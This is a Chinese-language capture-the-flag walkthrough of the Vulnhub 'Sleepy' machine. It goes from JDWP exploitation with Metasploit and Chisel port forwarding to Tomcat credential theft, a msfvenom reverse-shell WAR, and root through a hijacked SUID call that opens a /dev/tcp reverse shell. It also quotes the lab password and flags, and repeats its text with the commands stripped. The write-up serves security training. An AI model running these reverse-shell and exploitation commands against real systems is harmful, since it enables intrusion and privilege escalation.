[Vulnhub] Sleepy JDWP+Tomcat+Reverse+Reverse-enginnering
字数 1309 2025-08-19 12:40:55

JDWP+Tomcat漏洞利用与权限提升实战教学

1. 信息收集阶段

1.1 端口扫描

使用Nmap进行全端口扫描,发现以下开放服务:

nmap -sV -sC 192.168.8.100 -p- --min-rate 1000 -Pn

扫描结果:

  • 21/tcp: FTP服务 (vsFTPd 3.0.2)
    • 允许匿名登录但无法列出目录
  • 8009/tcp: AJP13协议 (Apache Jserv)
  • 9001/tcp: JDWP服务 (Java Debug Wire Protocol)

1.2 服务识别

  • FTP服务: 匿名登录尝试失败
  • AJP13: Apache Tomcat连接器协议
  • JDWP: Java调试协议,存在未授权访问风险

2. JDWP漏洞利用

2.1 手动验证JDWP服务

使用jdb工具连接JDWP服务:

jdb -attach 192.168.8.100:9001
> threads
> interrupt 1

2.2 使用Metasploit自动化利用

msfconsole
use exploit/multi/misc/java_jdwp_debugger
set RHOSTS 192.168.8.100
set RPORT 9001
set payload linux/x86/meterpreter/reverse_tcp
exploit

成功获取meterpreter会话后,检查网络连接:

meterpreter > netstat -ano

发现8080端口运行Tomcat服务但无法直接访问。

3. 端口转发与Tomcat访问

3.1 使用Chisel进行端口转发

在攻击机(Kali)启动Chisel服务器:

./chisel server -p 8000 --reverse

在目标机上传并运行Chisel客户端:

curl http://192.168.8.107/chisel -O chisel
chmod +x chisel
./chisel client 192.168.8.107:8000 R:8080:localhost:8080

3.2 访问Tomcat管理界面

通过本地转发访问:
http://127.0.0.1:8080/manager/html

3.3 获取Tomcat凭据

读取Tomcat用户配置文件:

cat /etc/tomcat/tomcat-users.xml

获取凭据:

  • 用户名: sl33py
  • 密码: Gu3SSmYStR0NgPa$sw0rD!

4. 获取Tomcat Shell

4.1 生成恶意WAR包

msfvenom -p java/jsp_shell_reverse_tcp LHOST=192.168.8.107 LPORT=10032 -f war > shell.war

4.2 设置监听

use exploit/multi/handler
set payload java/jsp_shell_reverse_tcp
set LHOST 192.168.8.107
set LPORT 10032
exploit

4.3 部署并访问WAR包

通过Tomcat管理界面上传shell.war,访问:
http://127.0.0.1:8080/shell/

获取第一个flag:
5a5946b264f0f12355ddc51693bbb255

5. 权限提升

5.1 查找SUID文件

find / -perm -4000 -type f 2>/dev/null

发现可疑文件/usr/bin/nightmare

5.2 分析nightmare程序

关键发现:

  1. 程序尝试打开/dev/tty
  2. 包含fire函数
  3. 使用aalib库(ASCII艺术库)
  4. 关键系统调用:
    setresuid(0, 0, 0);
    setresgid(0, 0, 0);
    system("/usr/bin/sl -al");
    

5.3 利用路径劫持

  1. 创建恶意函数替代/usr/bin/sl
function /usr/bin/sl () { /bin/bash >& /dev/tcp/192.168.8.107/10033 0>&1;}
export -f /usr/bin/sl
  1. 运行nightmare程序:
/usr/bin/nightmare
  1. 当程序退出时(ctrl+c),会自动调用被劫持的/usr/bin/sl函数,获得root shell

5.4 获取root flag

92f64746d7cd155607533c778774b995

6. 关键知识点总结

  1. JDWP漏洞利用

    • Java调试协议未授权访问
    • 可通过jdb手动验证或使用Metasploit自动化利用
  2. 端口转发技术

    • 使用Chisel进行反向端口转发
    • 解决内网服务不可达问题
  3. Tomcat管理界面利用

    • 通过读取配置文件获取凭据
    • WAR包部署获取反向shell
  4. Linux权限提升技巧

    • SUID文件查找与分析
    • 环境变量与函数劫持
    • 利用程序中的系统调用进行提权
  5. 防御建议

    • 关闭不必要的Java调试服务
    • 加强Tomcat配置文件权限
    • 定期检查系统SUID文件
    • 限制用户环境变量修改权限
JDWP+Tomcat漏洞利用与权限提升实战教学 1. 信息收集阶段 1.1 端口扫描 使用Nmap进行全端口扫描,发现以下开放服务: 扫描结果: 21/tcp : FTP服务 (vsFTPd 3.0.2) 允许匿名登录但无法列出目录 8009/tcp : AJP13协议 (Apache Jserv) 9001/tcp : JDWP服务 (Java Debug Wire Protocol) 1.2 服务识别 FTP服务 : 匿名登录尝试失败 AJP13 : Apache Tomcat连接器协议 JDWP : Java调试协议,存在未授权访问风险 2. JDWP漏洞利用 2.1 手动验证JDWP服务 使用jdb工具连接JDWP服务: 2.2 使用Metasploit自动化利用 成功获取meterpreter会话后,检查网络连接: 发现8080端口运行Tomcat服务但无法直接访问。 3. 端口转发与Tomcat访问 3.1 使用Chisel进行端口转发 在攻击机(Kali)启动Chisel服务器: 在目标机上传并运行Chisel客户端: 3.2 访问Tomcat管理界面 通过本地转发访问: http://127.0.0.1:8080/manager/html 3.3 获取Tomcat凭据 读取Tomcat用户配置文件: 获取凭据: 用户名: sl33py 密码: Gu3SSmYStR0NgPa$sw0rD! 4. 获取Tomcat Shell 4.1 生成恶意WAR包 4.2 设置监听 4.3 部署并访问WAR包 通过Tomcat管理界面上传shell.war,访问: http://127.0.0.1:8080/shell/ 获取第一个flag: 5a5946b264f0f12355ddc51693bbb255 5. 权限提升 5.1 查找SUID文件 发现可疑文件 /usr/bin/nightmare 5.2 分析nightmare程序 关键发现: 程序尝试打开 /dev/tty 包含 fire 函数 使用 aalib 库(ASCII艺术库) 关键系统调用: 5.3 利用路径劫持 创建恶意函数替代 /usr/bin/sl : 运行nightmare程序: 当程序退出时(ctrl+c),会自动调用被劫持的 /usr/bin/sl 函数,获得root shell 5.4 获取root flag 92f64746d7cd155607533c778774b995 6. 关键知识点总结 JDWP漏洞利用 : Java调试协议未授权访问 可通过jdb手动验证或使用Metasploit自动化利用 端口转发技术 : 使用Chisel进行反向端口转发 解决内网服务不可达问题 Tomcat管理界面利用 : 通过读取配置文件获取凭据 WAR包部署获取反向shell Linux权限提升技巧 : SUID文件查找与分析 环境变量与函数劫持 利用程序中的系统调用进行提权 防御建议 : 关闭不必要的Java调试服务 加强Tomcat配置文件权限 定期检查系统SUID文件 限制用户环境变量修改权限